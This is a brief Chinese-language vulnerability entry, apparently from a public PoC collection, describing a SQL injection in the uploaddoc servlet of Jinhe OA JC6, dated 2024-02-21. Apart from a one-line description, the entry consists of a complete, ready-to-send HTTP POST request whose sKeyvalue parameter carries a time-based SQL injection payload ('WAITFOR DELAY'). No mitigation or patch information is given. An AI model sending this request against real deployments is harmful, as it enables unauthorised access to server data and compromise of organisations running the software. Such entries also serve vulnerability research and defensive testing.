金和OA JC6 uploaddoc SQL注入漏洞

日期: 2024-02-21 | 影响软件: 金和OA | POC: 已公开

漏洞描述

金和OA JC6 uploaddoc SQL注入漏洞,攻击者可利用此漏洞获取服务器敏感信息

PoC代码

POST /jc6/servlet/uploaddoc HTTP/1.1
Host: 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip
Connection: keep-alive
Content-Length: 50
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0

key=readimage&sKeyvalue=1';WAITFOR DELAY '0:0:3'--

相关漏洞推荐